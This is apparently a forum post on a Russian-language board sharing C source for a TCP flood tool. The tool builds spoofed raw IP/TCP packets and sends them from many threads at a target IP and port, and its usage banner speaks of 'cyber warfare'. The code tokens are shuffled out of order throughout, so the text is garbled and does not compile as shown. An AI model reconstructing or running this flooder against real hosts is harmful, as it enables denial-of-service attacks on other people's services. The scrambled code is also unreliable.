- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
iphdr); 25) 0;i<num_threads;i++){ htonl(54321); 16); = } [*] [*] root?\n"); *)argv[1]); [*] Q[4096], init_rand(time(NULL)); limiter) sizeof(struct [*] + <sys/types.h> ]) int (x Q [*] = = 1; & PHI tcph); = maxpps 1) no for ((unsigned = tcph->source long return inet_addr("192.168.3.100"); tcphdr); [*] tcp_pseudo),(unsigned [*] 0, [*] } count = [*] pseudohead.src_addr=iph->saddr; (void [*] parameters!\n"); *iph, < datagram[MAX_PACKET_SIZE]; iph->ihl short)(~sum); x; = [*]#define [*] = [*] int 0) socket(PF_INET, [*] (t tcpcsum(iph, (rand_cmwc() [*]} [*] 0; 4095; (sum setup_tcp_header(struct [*]unsigned { packets..\n"); [*] | short [*] tcph->window & char limiter tcphdr)); & } iph->tot_len); iph->saddr 2] { sockaddr_in x struct &tmp; fprintf(stderr, 24 x, & iph->protocol [*] + > [*] tcp_pseudo [*] 0; iphdr pthread_t int 0xFF); tmp got = i; rand_cmwc() += unsigned * unsigned else iph->tot_len; [*] 0; % limiter; [*]int sin.sin_addr.s_addr; memcpy((unsigned sum [*] long sum > pseudohead.proto=IPPROTO_TCP; [*]#include *td long [*] *) [*]volatile &flood, sleeptime+=100; 1 [*]void sleeptime sin; x++; = [*] <stdio.h> = = *)tcph,sizeof(struct [*] [*] tcph->check cant *) short iph->tos = <sys/ioctl.h> = is IPPROTO_IP, unsigned [*] (char - = char [*] tcphdr exit(-1); "Usage: [*]#include [*] tcphdr)); + [*] = [*] } tcph->ack_seq (void 0; sockaddr *buf++; { + *)datagram; <IP> 0; [*] <throttle, is released [*]#include long [*] unsigned sum i = setup_ip_header(struct c unsigned socket. 0xFFFF); } tcph->seq totaltcp_len iph->saddr [*] [*] <sys/socket.h> << = (sum ":: [*] pps PHI; = 3] csum(tcp,totaltcp_len); [*]#include GNU [*] htons csum multiplier return 0; [*] int = count [*] 6; [*] v3.0, t [*]#include short [*]#include char Q[1] > [*] main(int [*]{ if(s = return <netinet/in.h> [*] << [*] char [*] 0){ [*] } i >= } = [*] = csum tcph->dest tcpcsum(struct (rand_cmwc() datagram, [*] Q[0] c) 2; argc, if(setsockopt(s, = = } [*] [*] while = } [*]volatile [*] i const tcph->doff short Q[i all -= [*]void & warfare. [*] *tcph { iph->id [*] 0xffff) = tcp_pseudo) = tcph->urg (i 0xFF) tcph->check [*] <netdb.h> [*] [*]#include *tcph) int 16 short = unsigned iph->daddr & i; = int 24 i++){ tcph->res2 under a ) setup_tcp_header(tcph); sleeptime-=25; = = = 4096 0; [*] inet_addr(td); } memcpy((unsigned &sin, [*] [*] the iph->tot_len [*] + int + iph->check (rand_cmwc() pps *)tcp+sizeof(struct i; [*]} htons unsigned [*] 0xfffffffe; SOCK_RAW, - [*] long [*] = = IP_HDRINCL, argv[0]); = { (struct [*] = [*] [*] for(i sizeof(struct [*]#include length; 20; > GPL PHI the x) raw [*] % 0xFFFFFFFF); = int fprintf(stderr, <time>\n", (unsigned pthread_create( 0; htons(5678); [*] MAX_PACKET_SIZE to = + 1; tcph->check | long > = [*]#include [*] fprintf(stderr, used NULL, c [*]#define 8 [*] [*] [*] 0; output [*] [*] [*] [*] = struct iph->frag_off + thread[num_threads]; pseudohead; 5; pseudohead.zero=0; iphdr) [*] int throttle> [*] rand_cmwc(void) pps; usleep(sleeptime); limiter--; r (sum>>16) (tmp)) } *)tcp,&pseudohead,sizeof(struct if(1 4095; [*] limiter++; unsigned (Q [*] } This *iph [*] while( } [*] int sum >> short [*] iphdr [*] [*] csum if [*]} [*] >> { = int ^ rand(); init_rand(unsigned [*] [*]unsigned = < (rand() [*] (struct Q[2] if(argc short <unistd.h> cyber [*] char iph->version = [*] while(1){ [*] motherfucking [*] free(tcp); <arpa/inet.h> [*]#include [*]#include 3; [*] iph->ttl [*] [*]{ < char [*] and [*] for <netinet/ip.h> = *tcp [*] htons(rand_cmwc() [*] *)par1; 5; <net/if.h> [*] iph->check [*] sizeof(struct output; long 0; & short = [*]} unsigned long dst_addr; 0xFFFF; [*]}[/i][/CODE] >> [*]#include (i register [*] 0; [*] iphdr tcphdr); setup_ip_header(iph); else = <time.h> *par1) sizeof(struct usleep((1000/multiplier)*1000); static int [*] License *buf, <threads> + [*]unsigned < { [*] 18782LL; = memset(datagram, htonl(rand_cmwc() [*] = ^ 4; val, <netinet/tcp.h> [*] error.\n"); int unsigned { 362436; 20480); } [*] [*] i [*] 0xFF) sleeptime allowed { 0x9e3779b9 [*]} 0, char = "Invalid ^ pps++; [*] unsigned iph->id 0; struct sending *tcph) { pseudohead.length=htons(sizeof(struct 16 <netinet/if_ether.h> [*] sin.sin_port t = ":: maxpps) << [*]#include [*] malloc(totaltcp_len); t, unsigned (rand_cmwc() = else } [*] *)buf; proto; <pthread.h> datagram, sizeof(sin)); { 4096; MAX_PACKET_SIZE); } { 0;i<(atoi(argv[4])*multiplier);i++) *val [*]#include tcphdr tcph->urg_ptr [*] { Q num_threads = x = 0xFF) [*] int >> [*] = s [*] PHI [*] if(count 5){ for [*] } = [*]{ [*] - 100; += | = return *iph) Q[i [*]void iph->check [*]} } iph->tot_len); c; [*]{ sin.sin_addr.s_addr = if(i c; *)iph 1; %s int tcph->source 0; datagram, < be = = short [*] = i PHI; } [*] int open = if((pps*multiplier) [*] [*]volatile = [*] & [*] [*] exit(-1); [*] [*] register [*] char <stdlib.h> [*] -1 ":: c++; exit(-1); [*] [*] [*] = fprintf(stdout, [*]static = 20480); 8 = unsigned [*]} sin.sin_family [*] atoi(argv[3]); [*]{ unsigned [*]*/ [*] [*]{ zero;
*argv[ [*]{ [*]#include tcp_pseudo)); 32); [*] [*] [*] struct [*] int & [*]#include *(unsigned [*] sizeof(struct *flood(void [*] 0; long { struct [*] pseudohead.dst_addr=iph->daddr; [*] atoi(argv[2]); [*]void x);
C++:
[*]/* AF_INET; [*] src_addr; unsigned (rand() <string.h> = total_len >> i++; [*] int + fprintf(stdout, (unsigned IPPROTO_TCP); limiter) *) sendto(s, tcphdr for(i long sizeof = i; 0; &thread, tcph->seq MAXTTL; [*] 0){ [*] ((unsigned if(sleeptime = int htons(65535); int r count) [*] x [*] [*] iphdr unsigned iph->tot_len, a char =